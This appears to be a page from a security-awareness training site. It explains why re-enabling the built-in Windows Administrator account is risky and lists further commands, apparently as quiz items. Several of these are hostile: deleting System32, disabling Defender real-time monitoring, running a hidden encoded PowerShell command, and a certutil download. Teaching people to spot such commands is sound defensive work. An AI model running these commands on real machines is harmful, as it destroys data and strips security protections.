Dangerous
net user administrator /active:yeswindows · batch · Beginner
Re-enables the built-in Administrator account, which Windows disables by default. It reads as routine account administration and quietly restores a well-known high-privilege login target.
Signals to notice
- re-enables an account Windows disables specifically to reduce attack surface
- the built-in administrator is the first account an attacker tries
Think you can spot these under time pressure?
Start TrainingMore Windows
Get-ProcessIntermediateRemove-Item -Recurse -Force C:\Windows\System32IntermediateGet-ChildItem -Path C:\Users -Recurse -Filter *.logAdvancedSet-MpPreference -DisableRealtimeMonitoring $trueIntermediatepowershell -nop -w hidden -enc RwBlAHQALQBEAGEAdABlAA==Advancedcertutil.exe -urlcache -split -f https://example.com/update.txt update.txtExpert